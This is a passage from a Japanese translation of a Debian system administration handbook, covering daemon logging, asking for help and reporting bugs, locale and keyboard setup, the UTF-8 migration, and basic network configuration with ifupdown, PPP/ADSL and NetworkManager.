DEBIAN POLICY **例のインストール先**	すべての例は必ず /usr/share/doc/**package**/examples/ ディレクトリにインストールされます。このディレクトリに格納できる例には設定ファイル、プログラムのソースコード (ライブラリの使用例)、ある状況下で管理者が使うデータ変換スクリプトなどがあります。これらの例が特定のアーキテクチャに固有なものの場合、例は /usr/lib/**package**/examples/ にインストールされます。このディレクトリに含まれる例は /usr/share/doc/**package**/examples/ ディレクトリに含まれるファイルを指すリンクとするべきです。

7.2.2. デーモンの挙動を監視する

デーモンの挙動を理解するのはやや面倒です。なぜなら、デーモンは管理者と直接的に対話するものではないからです。デーモンが実際にどのような作業をしているかを確認するには、デーモンをテストする必要があります。たとえば、Apache (ウェブサーバ) デーモンの挙動を確認するには、HTTP リクエストを使ってテストします。

この種のテストを行うために、デーモンは通常自分のしたことだけでなく発生したエラーも含めてすべてを「ログファイル」や「システムログ」と呼ばれるログに記録します。ログは /var/log/ の中か、このディレクトリのサブディレクトリの中に保存されます。それぞれのデーモンの正確なログファイル名を知るには、文書を確認してください。そのテストによって考え得る使用例のすべてが満足されない限り、テストは必ずしも 1 回で十分とは限らない点に注意してください。さらに、いくつかの問題は特定の状況下でしか起こりません。

TOOL **rsyslogd デーモン**	rsyslogd は特別です。なぜなら、rsyslogd デーモンは他のプログラムから受信したログ (内部的なシステムメッセージ) を収集するからです。それぞれのログエントリにはサブシステム (電子メール、カーネル、認証など) と優先度が関連付けられています。さらに rsyslogd はサブシステムと優先度の情報を使って各ログエントリをどのように処理するかを決めます。ロ

グメッセージは、複数のログファイルに記録される場合もあれば、管理者のコンソールに送信される場合もあります。設定の詳細は /etc/rsyslog.conf 設定ファイル (同名のマニュアルページに説明があります) で定義されています。

C 言語にはログ送信専用の関数があるので、これを使うと rsyslogd デーモンを簡単に使えるようになります。しかしながら、いくつかのデーモンは自分でログファイルを管理します (たとえば Linux 上で動く Windows 共有の実装である samba はそのようなデーモンの一例です)。

systemd を使っている場合、ログは rsyslogd に転送される前に systemd によって収集されるという点に注意してください。つまり systemd のジャーナルを介してログを利用したり、journalctl を使ってログを調査することが可能です (詳細は第 9.1.1 節「systemd init システム」183 ページをご覧ください)。

BACK TO BASICS

デーモン

デーモンはユーザが明示的に呼び出すプログラムではなく、バックグラウンドで実行され、特定の状態が満足されたら作業を行うプログラムです。多くのサーバプログラムはデーモンです。専門用語の名前の最後に付けられた「d」という文字は通常それがデーモンであることを意味しています (sshd、smtpd、httpd などがその一例です)。

問題に対する予防手段として、管理者は日常的に最も重要なサーバログを読むべきです。そうすれば、不満を抱くユーザから報告を受ける前に問題を調査できます。実際のところ、ユーザは報告の前に問題が数日間にわたって繰り返して起こるまで待つかもしれません。長いログファイルの内容を分析するには専用ツールを使います。数多くのサーバに対して専用のログ分析ツールが存在し、特にウェブサーバ (Apache 向けの analog、awstats、webalizer)、FTP サーバ、プロキシ/キャッシュサーバ、ファイアウォール、電子メールサーバ、DNS サーバ、プリンタサーバに対してはそのログを解析するユーティリティが存在します。いくつかのユーティリティはモジュール式で機能し、複数のログファイルを解析できます。lire はそのようなユーティリティの一例です。また、ログファイルから対処が必要な警告を検索する logcheck (第 14 章「セキュリティ」376 ページで紹介するソフトウェア) などの他のツールも存在します。

7.2.3. メーリングリストで助けを求める

いろいろと検索しても問題の原因が分からなかった場合、他の人 (おそらく自分よりも経験豊富な人) から助けを受けることも可能です。debian-user@lists.debian.org メーリングリストはまさにこのために用意されています。他のコミュニティと同様、このメーリングリストにも従う必要のあるルールが存在します。どんな質問でもそれを投稿する前に、メーリングリストに最近投稿された議論および公式文書の中で、自分の問題がまだ取り上げられていないという点を確認するべきです。

➨ https://wiki.debian.org/DebianMailingLists

➨ https://lists.debian.org/debian-user/

TIP

ウェブでメーリングリストを読む

debian-user@lists.debian.org などの流量の多いメーリングリストは、ディスカッションフォーラム (またはニュースグループ) 的に読むと良いかもしれません。Gmane.org を使うと、ニュースグループのように Debian メーリングリストを参照することが可能です。debian-user@lists.debian.org は以下から閲覧できます。

➨ http://dir.gmane.org/gmane.linux.debian.user

BACK TO BASICS

ネチケットの適用

一般的に言って、電子メーリングリスト上でのやり取りはすべてネチケットを守るべきです。ネチケットとは、礼儀作法から避けるべき間違いまで、常識的なルールを指しています。

➡ `http://tools.ietf.org/html/rfc1855`

さらに、Debian プロジェクトが管理する任意のコミュニケーションチャンネルに参加する際には、Debian 利用上の注意を遵守することを求められます。

➡ `https://www.debian.org/code_of_conduct`

前述の 2 条件を満足した時点で、問題の内容をメーリングリストに投稿してみてください。投稿の際には、関連する情報をできる限り含めるようにしてください。ここで関連する情報とは、実施したさまざまなテスト、参照した文書、その問題を診断する際に使った方法、関連するか関連する可能性のあるパッケージなどを指します。さらに Debian バグ追跡システム (BTS、補注「バグ追跡システム」14 ページを参照してください) で同様の問題がないか確認し、検索の結果を挙げ、見つかったバグへのリンクを提供してください。以下から BTS を使い始めることが可能です。

➡ `http://www.debian.org/Bugs/index.html`

礼儀正しく正確であればあるほど、答えを得られる (少なくとも多少の反応を得られる) チャンスが大きくなります。私信で関連する情報を受け取った場合、その情報を要約して公にすることを考えてください。そうすれば、他の人がその恩恵を受けられます。またこうすることで、さまざまな検索エンジンを通じて、同じ疑問を持つ人がメーリングリストのアーカイブからその解決策を得ることが可能です。

7.2.4. 問題が難しすぎる場合のバグ報告

問題を解決するために行ったすべての努力が失敗に終わった場合、問題の原因はあなたの責任のおよぶところになく、プログラムのバグかもしれません。この場合 Debian にバグを報告したり、上流開発者に直接報告したりするとよいでしょう。これを行うには、可能な限り問題を分割し、問題を再現できる最小のテスト環境を作ってください。問題の明白な原因となっているプログラムがわかっている場合、`dpkg -S` **`file_in_question`** コマンドで関連するパッケージを見つけることが可能です。そしてバグ追跡システム (https://bugs.debian.org/**package**) を使って、問題となっているパッケージに対してそのバグがまだ報告されていないことを確かめてください。その後、`reportbug` コマンドでバグ報告を送信してください。その際には、可能な限り多くの情報を含め、特に誰もがバグを再現できる最小テストケースの完全な説明を含めてください。

この章では、効率的な問題解決の手段を解説しました。以降の章ではこの手段を使うことになるでしょう。必要に応じて何度でも使ってください!

キーワード

設定
地域化
ロケール
ネットワーク
名前解決
ユーザ
グループ
アカウント
コマンドラインインタプリタ
シェル
印刷
ブートローダ
カーネルのコンパイル

章

基本設定、ネットワーク、アカウント、印刷... 8

目次

他の言語用にシステムを設定 146　ネットワークの設定 149　ホスト名と名前解決サービスの設定 154
ユーザとグループのデータベース 156　アカウントの作成 159　シェル環境 160　プリンタ設定 161
ブートローダの設定 162　その他の設定: 時刻同期、ログ、共有アクセス…167　カーネルのコンパイル 173
カーネルのインストール 179

debian-installer を使って新規にインストールしたコンピュータは可能な限り実用的に設定されます。とは言うものの、多くのサービスには設定の余地が残っています。さらに、管理者は最初のインストール中に設定された特定の項目の内容を変更する方法も必ず知っておくべきです。

この章では「基本設定」と呼ばれている内容についてすべてを見直します。具体的に言えば、ネットワーク、言語とロケール、ユーザとグループ、印刷、マウントポイントなどの設定を見直します。

8.1. 他の言語用にシステムを設定

日本語を使ってシステムをインストールした場合、既に日本語がデフォルト言語になっているかもしれません。しかし、インストーラが言語を設定する際にやっていることを知っておくべきです。こうしておくことで、後から必要になった際に言語を切り替えることが可能になります。

TOOL	
現在の設定を表示する `locale` コマンド	`locale` コマンドは、ロケールの設定を動的に変更するために設けられた標準的な環境変数の形で、さまざまなロケール関連パラメータ (日付フォーマット、番号フォーマットなど) の現在の設定の概要を表示します。

8.1.1. デフォルト言語の設定

ロケールとは地域に関する設定項目全体を指します。ロケールの内容には表示言語だけでなく、番号、日付、時間、通貨の表示書式、アルファベット比較則 (アクセント付き文字を使う言語では適切な設定が必要) が含まれます。各パラメータは独立に設定できますが、通常は同じロケールを使います。こうすることで、広い意味で「地域」に関連するパラメータに一貫性を持たせることが可能になります。ロケールは通常 **language-code_COUNTRY-CODE** の書式で表され、文字セットとエンコーディングを表すためにサフィックスを付けられる場合もあります。こうすることで、共通の言語を異なる地域で使う場合の、慣習や書体の違いを考慮することが可能になります。

CULTURE	
文字セット	歴史的に言って、各ロケールは関連する「文字セット」(既知の文字のグループ) と推奨される「エンコーディング」(コンピュータにおける文字の内部表現) を持っていました。 ラテン語由来の言語で最も人気のあるエンコーディングの文字数は 256 文字に制限されています。なぜなら、それらのエンコーディングでは 1 文字を 1 バイトで表現するよう定めているからです。256 文字ではすべてのヨーロッパ系言語をカバーできなかったため、複数のエンコーディングが必要になり、**ISO-8859-1** (「Latin 1」としても知られる) から **ISO-8859-15** (「Latin 9」としても知られる) までが定められました。 外国語を使って仕事することは日常的に複数のエンコーディングと文字セットを切り替えることを意味していました。さらに、多言語文書を書くことはさらに難しく、ほとんど手に負えない問題でした。この問題に対処するために Unicode (全世界の言語のほぼすべての表記体系の巨大なカタログ) が作られました。Unicode エンコーディングの 1 つである UTF-8 は 128 ASCII 文字 (7 ビットコード) と互換性を保ちながら、他の文字を別のやり方で取り扱います。非 ASCII 文字は数ビットの特殊なエスケープシーケンスで始まり、このエスケープシーケンスが文字の長さを暗黙のうちに定義します。このことにより、1 バイトから数バイトのシーケンスで全 Unicode 文字の符号化が可能になります。UTF-8 は XML 文書のデフォルトエンコーディングだったため広く使われています。 通常のエンコーディングは UTF-8 を使うべきで、Debian システムでは UTF-8 をデフォルトエンコーディングとしています。

locales パッケージには、さまざまなアプリケーションの「地域化」を適切に動作させるために必要なすべての要素が含まれます。インストールの最中、**locales** パッケージはシステムがサポートする言語を選択するよ

う求めます。システムがサポートする言語を変更するには、root で dpkg-reconfigure locales を実行してください。

locales パッケージのインストール中、最初の質問でサポートしたい「ロケール」を選択します。すべての英語ロケール (つまり「en_」で始まるロケール) を有効化するのが合理的です。外国人ユーザがマシンを使う場合、ためらわずに他の言語も有効化してください。システムがサポートするロケールのリストは /etc/locale.gen ファイルに保存されています。/etc/locale.gen ファイルを手作業で編集することも可能ですが、変更が終わったら locale-gen を実行するべきです。locale-gen は追加されたロケールを動作させるために必要なファイルを生成し、古いファイルを削除します。

2 番目の質問は「システム環境のデフォルトロケール」と銘打たれ、ここでデフォルトロケールを選択します。アメリカ合衆国では「en_US.UTF-8」を選ぶことを推奨します。イギリス英語話者は「en_GB.UTF-8」、カナダ人は「en_CA.UTF-8」またはフランス語の「fr_CA.UTF-8」のどちらかを好むでしょう。その後、デフォルトロケールを保存する /etc/default/locale ファイルが修正されます。これ以降、設定されたデフォルトロケールがすべてのユーザセッションに適用されます。なぜなら、PAM が LANG 環境変数内に /etc/default/locale ファイルの内容を代入するからです。

BEHIND THE SCENES

/etc/environment と /etc/default/locale

/etc/environment ファイルには login、gdm、ssh プログラムが設定する正しい環境変数が含まれています。

これらのアプリケーションは環境変数を直接設定するものではありませんが、PAM (pam_env.so) モジュール経由で環境変数を設定します。PAM (Pluggable Authentication Module) は認証、セッション初期化、パスワード管理のメカニズムを一元管理化するモジュール式のライブラリです。PAM 設定の例は第 11.7.3.2 節「PAM の設定」288 ページをご覧ください。

/etc/default/locale ファイルも同様に動作しますが、ファイルに含まれているのは LANG 環境変数だけです。このようにファイルを分離しているおかげで、一部の PAM ユーザは地域化せずに完全な環境を継承できます。実際のところ、サーバプログラムを地域化した状態で実行することは推奨されません。その一方で、ユーザセッションを開くプログラムが地域化と地域設定を行うことは推奨されます。

8.1.2. キーボードの設定

キーボードレイアウトの管理方法がコンソールとグフラフィカルモードで違っていたとしても、Debian には両方を設定できる単一の設定インターフェースが提供されています。設定インターフェースは debconf に基づいており、**keyboard-configuration** パッケージに実装されています。キーボードレイアウトをリセットする際には、dpkg-reconfigure keyboard-configuration を使います。

ここでは、キーボードモデル (日本で使われる一般的な PC キーボードの場合「標準 105 キー (国際) PC」)、キーボードレイアウト (通常「日本語」)、AltGr キーの場所 (「キーボード配置のデフォルト」) について質問されます。最後に「Compose キー」として使うキーが質問されます (「コンポーズキーなし」)。Compose キーはキーストロークを組み合わせて特殊文字を入力する際に使われます。Compose ' e を入力すると、アクセント付き e「é」が入力できるはずです。キーストロークの組み合わせは /usr/share/X11/locale/ja_JP.UTF-8/Compose ファイル (または、/usr/share/X11/locale/compose.dir に書かれた現在のロケールに従って定義された別ファイル) に記述されています。

ここで述べたグラフィカルモードのキーボード設定によって影響を受けるのはデフォルトレイアウトだけです。特に GNOME と KDE 環境では、環境設定の中にキーボードコントロールパネルがあり、これを使うこと

で各ユーザが固有のキーボードを設定することが可能です。特別なキーの挙動に関する追加的オプションもこのコントロールパネルから設定できます。

8.1.3. UTF-8 への移行

UTF-8 エンコーディングのような一般化は、相互運用性の多くの困難を解決できるとして、長く待ち望まれていました。なぜなら、一般化することで、国際交流が簡単になり、文書で使うことのできる文字を好き勝手に制限する必要がなくなるからです。こうすることによる欠点の 1 つが、厳しい移行期間を切り抜けなければいけない点です。移行期間は完全に透過的にできない (つまり、全世界で同時に移行することはできない) ため、2 つの変換操作が必要です。具体的に言えば、ファイル内容とファイル名のエンコーディングを変換する必要があります。幸いなことに、この移行はほとんど完了していますが、参考までに大筋を議論します。

CULTURE

文字化けと解釈エラー

エンコーディング情報なしにテキストが送信 (または保存) された場合、受信者にとって、どのような変換を使えばバイトセットの意味を決定できるかを確定することは、常に可能なことではありません。通常、テキスト内に存在する値の分布の統計を取ることで、変換に必要な情報を得ることができますが、常に確定的な答えを得られるわけではありません。読み出し時に使ったエンコーディングシステムが書き込み時に使ったものと異なる場合、バイトセットは間違って解釈され、良くてもいくつかの文字が間違って表示され、悪ければ全く判読できなくなります。

そんなわけで、フランス語テキストが「Ã©」、「Ã¨」、「Ã§」などの文字列で置き換えらたアクセント付き文字と若干の記号を除いて正常に表示された場合、これはおそらく UTF-8 にエンコードされたファイルを ISO-8859-1 または ISO-8859-15 で解釈して表示したということでしょう。この状況は、ローカル設定がまだ UTF-8 に移行されていないことの証です。逆に、アクセント付き文字ではなく疑問符が表示され、さらにその疑問符をアクセント付き文字とその後に続く適当な文字に置き換えることができそうな場合、ローカル設定は既に UTF-8 に移行されていて西欧の ISO でエンコードされていたファイルを UTF-8 で解釈して表示したということかもしれません。

「単純な」場合はそんなところです。西欧言語圏ではこれだけで済むかもしれません。なぜなら、Unicode (と UTF-8) はラテンアルファベットに基づく西欧言語向けの歴史的なエンコーディングとの共通点を最大化するように設計されたからです。このため、いくつかの文字が欠落してもテキストの一部を理解できるのです。

より複雑な構成の場合、たとえば異なる文字体系を使う 2 つの異なる言語向けの 2 つの環境の間で情報をやり取りする場合、全く判読できない結果 (互いに関連性のない抽象記号) が表示されることが多いです。アジア圏では、言語と表記体系が数多くあるために、このような状況が良く起こります。**文字化け**という日本の言葉がこの状況を言い表すために使われ続けています。**文字化け**した場合、原因分析はさらに複雑です。**文字化け**に対する元も単純な解決策は双方が UTF-8 に移行することです。

ファイル名だけについて言えば、移行は比較的単純です。`convmv` ツール (同名のパッケージに含まれます) はこの目的専用に作られました。従って、これはファイル名をあるエンコーディングから他のエンコーディングに変更します。このツールの使い方は比較的単純ですが、意図しない変換を避けるために 2 段階に分けて行うことを推奨します。以下の例では、ISO-8859-15 でエンコードされたディレクトリ名を含む UTF-8 環境で、`convmv` を使ってディレクトリ名をリネームする方法を示しています。

```
$ ls travail/
Ic?nes  ?l?ments graphiques  Textes
$ convmv -r -f iso-8859-15 -t utf-8 travail/
```

```
Starting a dry run without changes...
mv "travail/□l□ments graphiques"        "travail/Éléments graphiques"
mv "travail/Ic□nes"     "travail/Icônes"
No changes to your files done. Use --notest to finally rename the files.
$ convmv -r --notest -f iso-8859-15 -t utf-8 travail/
mv "travail/□l□ments graphiques"        "travail/Éléments graphiques"
mv "travail/Ic□nes"     "travail/Icônes"
Ready!
$ ls travail/
Éléments graphiques  Icônes  Textes
```

ファイル内容について言えば、既存のファイルフォーマットにはたくさんの種類があるため、変換手順はさらに複雑になります。いくつかのファイルフォーマットにはエンコーディング情報が含まれているため、そのフォーマットを取り扱うソフトウェアは適切にエンコーディング情報を取り扱うことが可能です。さらにこの場合、ファイルを開いて UTF-8 エンコーディングを指定して再保存するだけ十分です。その他の場合、そのファイルを開く際に元のエンコーディングを指定 (形式に従って ISO-8859-1 や「西欧」、ISO-8859-15 や「西欧 (ユーロ)」など) しなければいけません。

単純なテキストファイルの場合、recode (同名のパッケージに含まれます) を使えば自動的にエンコーディングを変換できます。このツールは数多くのオプションを備えていますので、いろいろと試してみてください。recode(1) man ページ、recode info ページ (より詳しい) などの文書を調べることもお勧めします。

8.2. ネットワークの設定

BACK TO BASICS

ネットワークの本質的概念 (イーサネット、IP アドレス、サブネット、ブロードキャスト)

多くの現代的なローカルネットワークがイーサネットプロトコルを使っています。データはフレームと呼ばれる小さなブロックに分割され、一度に 1 つのフレームがワイヤ上で転送されます。データ転送速度は古いイーサネットカードの 10 Mb/s から新しいカードの 10 Gb/s (現在最も一般的な速度は 100 Mb/s から 1 Gb/s) までさまざまあります。最も広く使われているケーブルは、確実に保証される転送速度に依存して 10BASE-T、100BASE-T、1000BASE-T、10GBASE-T と呼ばれています (T は「ツイストペア」を意味しています)。ケーブルの終端には RJ45 コネクタが付いています。他のケーブル型もあり、それらは 1 Gb/s 以上の速度で使われています。

IP アドレスは、ローカルネットワークやインターネットでコンピュータのネットワークインターフェースを識別するために使われる番号です。IP の現在最も広く使われているバージョン (IPv4) では、IP アドレスは 32 ビットにエンコードされ、通常ピリオドで区切った 4 個の数字で表現されます (例 192.168.0.1)、それぞれの数字は 0 以上 255 以下です (8 ビットのデータに対応します)。IP の次期バージョン IPv6 では、アドレス空間を 128 ビットに拡張し、IP アドレスは通常コロンで区切られた 16 進数列で表されます (たとえば 2001:0db8:13bb:0002:0000:0000:0000:0020 などで、これは短縮形の場合 2001:db8:13bb:2::20 と表されます)。

サブネットマスク (ネットマスク) は 2 進コードの形で、ある IP アドレスのネットワークに相当する部分を定義します。残りの部分はマシンに相当する部分を定義します。ここで挙げる静的 IPv4 アドレスの設定例では、サブネットマスク 255.255.255.0 (2 進数表記では 24 個の「1」の後に 8 個の「0」が並ぶ) は IP アドレスの最初の 24 ビット分がネットワークアドレスに対応し、残りの 8 ビット分がマシンに固有のアドレスであることを意味しています。IPv6 では可読性を高めるためにネットマスクを 2 進数表記した際に「1」となるビットの個数で表すので、ネットマスクは 64 のように書けます。

ネットワークアドレスは IP アドレスの一種で、マシン番号を表現する部分は 0 で表されます。完全なネットワークにおける IPv4 アドレスの範囲は通常 **a.b.c.d/e** という構文で表現されます。ここで、**a.b.c.d** はネットワークアドレスで **e** は IP アドレスのネットワーク部分を表すビット数です。つまり例のネットワークは 192.168.0.0/24 のように表現されます。IPv6 の場合も構文は似ており、2001:db8:13bb:2::/64 のように表現されます。

ルータとは、複数のネットワークを相互に接続するマシンです。ルータを通過するすべてのトラフィックは接続されたネットワークに誘導されます。これを行うために、ルータは着信パケットを解析し、宛先の IP アドレスに従ってパケットを転送します。ルータは通常ゲートウェイとしても知られています。ルータがゲートウェイの役割を果たす場合、ルータはローカルネットワークを越える (インターネットなどの外部ネットワークに向かう) ためのマシンとして機能します。

ブロードキャストアドレスは特殊なアドレスでネットワークにいるすべてのマシンに対応付けられています。ブロードキャストアドレスは、ほとんど「転送され」ませんし、当該のネットワークだけを対象に働きます。具体的に言うと、ブロードキャスト宛のデータパケットはルータを通過しないことを意味しています。

この章では IPv4 アドレスだけに注目します。なぜなら IPv4 アドレスは現在最も一般的に利用されているからです。IPv6 プロトコルの詳細は第 10.5 節「IPv6」237 ページで説明されていますが、その概念は IPv4 と同じです。

ネットワークは初回インストール時に自動設定されますので、/etc/network/interfaces ファイルには既にさまざまな設定が含まれています。auto で始まる行は、起動時に **ifupdown** と /etc/init.d/networking init スクリプトで自動的に設定したい、インターフェースのリストです。通常 eth0 は自動設定したいインターフェースで、1 つ目のイーサネットカードを意味しています。

ALTERNATIVE

NetworkManager

NetworkManager はマシンを移動して使う場合に特に推奨され (第 8.2.4 節「ローミングユーザ向けの自動ネットワーク設定」153 ページを参照してください)、デフォルトのネットワーク管理ツールとしても極めて便利です。コンピュータの起動の可能な限り早い段階で使われる「システム接続」を作るには、/etc/NetworkManager/system-connections/ 内の .ini 系ファイルを手作業で編集するか、またはグラフィカルツール (nm-connection-editor) を使います。NetworkManager でネットワーク接続を管理する場合、/etc/network/interfaces に含まれるすべてのエントリを無効化するのを忘れないでください。

➨ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings/jessie

➨ https://developer.gnome.org/NetworkManager/0.9/ref-settings.html

8.2.1. イーサネットインターフェース

コンピュータにイーサネットカードが付けられている場合、イーサネットカードに関連付けられる IP ネットワークは 1 つか 2 つの方法で必ず設定されなければいけません。最も簡単な方法は DHCP を使う動的設定で、これにはローカルネットワークで DHCP サーバを動かす必要があります。動的設定では、以下の例で hostname 設定に対応する、希望ホスト名を示すことが可能です。そして、DHCP サーバは適切なネットワーク設定を送信します。

例 8.1　DHCP 設定

```
auto eth0
```

```
iface eth0 inet dhcp
  hostname arrakis
```

「静的」設定の場合、必ず決められた方法でネットワーク設定を定義しなければいけません。「静的」設定には少なくとも IP アドレスとサブネットマスクが含まれます。さらに場合によってはネットワークとブロードキャストアドレスが含まれることがあります。ゲートウェイには外部に接続しているルータを指定します。

例 8.2　静的設定

```
auto eth0
iface eth0 inet static
  address 192.168.0.3
  netmask 255.255.255.0
  broadcast 192.168.0.255
  network 192.168.0.0
  gateway 192.168.0.1
```

NOTE

複数アドレス

複数のインターフェースに 1 つの物理ネットワークカードを関連付けることだけでなく、1 つのインターフェースに複数の IP アドレスを関連付けることも可能です。ある IP アドレスは DNS 経由で複数の名前に関連付けられているかもしれませんし、ある名前は複数の数値 IP アドレスに関連付けられているかもしれません。この点も忘れないでください。

お察しの通り、この設定はちょっと複雑で、この設定が必要になるのはとても特殊な場合だけです。ここで引用しているのは、典型的な通常設定の例です。

8.2.2. PSTN モデム経由の PPP 接続

2 点間 (PPP) 接続は断続的な接続を確立します。さらに PPP 接続は電話モデム (「PSTN モデム」とも呼ばれます。この名前は公衆交換電話網を経由して接続するところから付けられました) を使って接続する場合の最も一般的な接続方法です。

電話モデムを使って接続する場合、アクセスプロバイダのアカウント (電話番号、ユーザ名、パスワード) が必要で、認証プロトコルを使うこともあります。PPP 接続は `pppconfig` ツール (同名の Debian パッケージに含まれます) を使って設定されます。デフォルトで、`pppconfig` ツールは provider (インターネットサービスプロバイダのように) と名付けられた接続を設定します。認証プロトコルがよく分からなければ、**PAP** を使ってください。大多数のインターネットサービスプロバイダは **PAP** を提供しています。

設定が完了したら、`pon` コマンドを使って接続することが可能です (デフォルト接続名である provider が適切でない場合、接続名をパラメータとして与えてください)。リンクを切断するには `poff` コマンドを使ってください。これら 2 つのコマンドを実行できるのは、root ユーザと dip グループに所属するユーザだけです。

8.2.3. ADSL モデム経由の接続

「ADSL モデム」という一般名称の意味には、全く違う機能を持つ数多くの装置が含まれています。Linux で使うのが最も簡単なモデムはイーサネットインターフェースを持つものです (USB インターフェースではあ

りません)。この種のモデムは人気になりつつあります。さらに、多くの ADSL インターネットサービスプロバイダはイーサネットインターフェース付きの「ボックス」を貸与します (またはリースします)。モデムの種類に依存して、必要な設定は広範囲にわたります。

PPPOE をサポートするモデム

一部のイーサネットモデムは PPPOE プロトコル (Point to Point Protocol over Ethernet) に対応しています。PPPOE 接続を設定するには、pppoeconf ツール (同名のパッケージに含まれます) を使います。PPPOE 接続を設定するために、pppoeconf ツールは与えられた設定で /etc/ppp/peers/dsl-provider ファイルを修正し、ログイン情報を /etc/ppp/pap-secrets と /etc/ppp/chap-secrets ファイルに記録します。pppoeconf ツールが提案したすべての変更を受け入れることを推奨します。

この設定が完了したら、pon dsl-provider で ADSL 接続を開始、poff dsl-provider で切断できます。

TIP

起動時に ppp を開始

定義によれば、ADSL 上の PPP 接続は断続的なものです。しかしながら、通常サービスプロバイダは時間に依存して従量課金しないので、常に接続状態を保つという誘惑に対して、ほとんど不利な点はありません。常時接続状態を保つ標準的な方法は init システムを使うことです。

Jessie のデフォルト init システムは systemd です。ADSL 接続用の自動再開タスクを追加するには、以下の内容を含む /etc/systemd/system/adsl-connection.service などの「ユニットファイル」を作成するだけで簡単に行うことが可能です。

```
[Unit]
Description=ADSL connection

[Service]
Type=forking
ExecStart=/usr/sbin/pppd call dsl-provider
Restart=always

[Install]
WantedBy=multi-user.target
```

このユニットファイルの配置を完了したら、systemctl enable adsl-connection を実行してこれを有効化する必要があります。その後手作業で systemctl start adsl-connection を実行してループを開始します。起動時にはこれが自動的に実行されます。

systemd を使っていないシステム (Debian **Wheezy** およびそれ以前のバージョンのシステム) では、標準的な SystemV init を別の方法で設定します。このようなシステムでは、/etc/inittab ファイルの最後に以下の 1 行を追加するだけで設定は完了します。このように設定することで、接続が切断されたらいつでも、init が再接続を試行するようになります。

```
adsl:2345:respawn:/usr/sbin/pppd call dsl-provider
```

ADSL 接続が 1 日に 1 回自動切断されるような場合、この方法を取ることで、通信が遮断される期間を短くすることが可能です。

PPTP をサポートするモデム

PPTP (Point-to-Point Tunneling Protocol) プロトコルは Microsoft によって作られました。PPTP は初期の ADSL で使われましたが、すぐに PPPOE によって置き換えられました。PPTP を使わなければいけない場合は、第 10.2.4 節「PPTP」230 ページをご覧ください。

DHCP をサポートするモデム

モデムとコンピュータがイーサネットケーブル (クロスケーブル) で接続されている場合、通常は DHCP でコンピュータのネットワーク接続を設定します。さらにそのようなモデムは自動的にデフォルトでゲートウェイとして働き、ルーティングを処理します (これは、モデムがコンピュータとインターネットの間のネットワークトラフィックを管理することを意味しています)。

BACK TO BASICS

直接イーサネット接続用のクロスケーブル

コンピュータネットワークカードはケーブルの特定のワイヤからデータを受信し、別のワイヤからデータを送信します。コンピュータをローカルネットワークに接続する場合、通常ネットワークカードとリピータまたはスイッチの間をケーブル (ストレートまたはクロスケーブル) で接続します。しかしながら、2 台のコンピュータを直接 (中間にスイッチやリピータを介さずに) 接続したい場合、必ず送信側カードからみた送信ワイヤに伝わる信号を受信側カードからみた受信ワイヤに (その逆も) 伝送させなければいけません。これがクロスケーブルの目的であり、クロスケーブルが使われる理由です。

ケーブルの種類を区別して用途に合わせて使うという作業は、時間とともにほとんど無意味な作業になりつつある点に注意してください。なぜなら、最近のネットワークカードはケーブルの種類を検出して適切に適用できるからです。従って、ある場所で両方の種類のケーブルが使えるというのは異常ではありません。

市場に出ている多くの「ADSL ルータ」とインターネットサービスプロバイダによって提供されるほとんどの ADSL モデムはこのような方法で使われます。

8.2.4. ローミングユーザ向けの自動ネットワーク設定

Falcot の多くのエンジニアはラップトップコンピュータを持っており、自宅でも職務上の目的を果たすためにそれを使います。使用するネットワーク設定は場所によって異なります。自宅では wifi ネットワーク (WPA 鍵で保護されている) を使っているかもしれませんし、その一方で職場ではセキュリティと帯域幅を向上させるために有線ネットワークを使っています。

対応するネットワークインターフェースを手作業で接続したり切断するのを避けるために、管理者はローミングマシンに **network-manager** パッケージをインストールしました。NetworkManager を使うと、ユーザはグラフィカルデスクトップの通知エリアに表示された小さなアイコンを使って、あるネットワークから別のネットワークに簡単に切り替えることが可能です。NetworkManager のアイコンをクリックすると、利用できるネットワーク (有線と無線の両方) のリストが表示されます。このためユーザは単純に使いたいネットワークを選ぶだけです。NetworkManager は接続済みのネットワークの設定を保存します。そして現在の接続が切断された場合、利用できるネットワークから最適なものを選んで、自動的に切り替えます。

これを行うために、NetworkManager プログラムは 2 つに分割されています。すなわち、ネットワークインターフェースの有効化と設定を担当している root として動くデーモンと、このデーモンを操作するユーザインターフェースの 2 つに分割されています。PolicyKit は NetworkManager プログラムを操作する際に要求

される認証を取り扱います。Debian は PolicyKit を設定して、netdev グループが NetworkManager の接続を追加したり、変えることができるようにしています。

NetworkManager はさまざまな種類の接続 (DHCP、手作業設定、ローカルネットワーク) をサポートしていますが、設定をうまく動作させるには NetworkManager プログラム以外を使ってはいけません。このため、NetworkManager は `/etc/network/interfaces` に含まれるすべてのネットワークインターフェースのうち、不適切なものを系統的に無視します。NetworkManager はネットワーク接続が見つからない場合にその詳細を教えてくれないので、`/etc/network/interfaces` から NetworkManager で管理されるすべてのインターフェースに関する設定を削除するのが簡単です。

NetworkManager は最初のインストール中に「デスクトップ環境」タスクを選んだ場合にデフォルトでインストールされることに注意してください。

ALTERNATIVE

「ネットワークプロファイル」を使った設定

さらに熟練したユーザは、自動的にネットワークを設定するために **guessnet** パッケージを試したくなるかもしれません。**guessnet** パッケージは臨機応変に有効化および設定すべきネットワークプロファイルがどれかを判断する一連のテストスクリプト集です。

ネットワークプロファイルを手作業で選択するのを好むユーザは **netenv** プログラムを好むかもしれません。このプログラムは同名のパッケージに含まれます。

8.3. ホスト名と名前解決サービスの設定

IP 番号に名前を割り当てることで、マシンを識別する情報は覚えやすくなります。実際には、IP アドレスはネットワークカードなどのデバイスと関連付けられたネットワークインターフェースを識別するものです。それぞれのマシンは複数のネットワークカードを持つことが可能ですし、それぞれのカードに複数のインターフェースを持つことが可能ですので、1 台のコンピュータはドメインネームシステムに複数の名前を持つことが可能です。

しかしながら、それぞれのマシンは本名 (または「canonical」名) で識別されます。この名前は `/etc/hostname` ファイルに保存され、`hostname` コマンドを通じた初期化スクリプトを使って Linux カーネルに伝えられます。マシン名の現在の値は仮想ファイルシステムの中に保存されており、`cat /proc/sys/kernel/hostname` コマンドで値を確認できます。

BACK TO BASICS

/proc/ と /sys/、仮想ファイルシステム

/proc/ と /sys/ ファイルツリーは「仮想」ファイルシステムによって生成されます。仮想ファイルシステムは (仮想ファイルの内容を表示することで) カーネルから情報を回収したり、(仮想ファイルに書き込むことで) カーネルと情報をやり取りするための実用的な手段です。

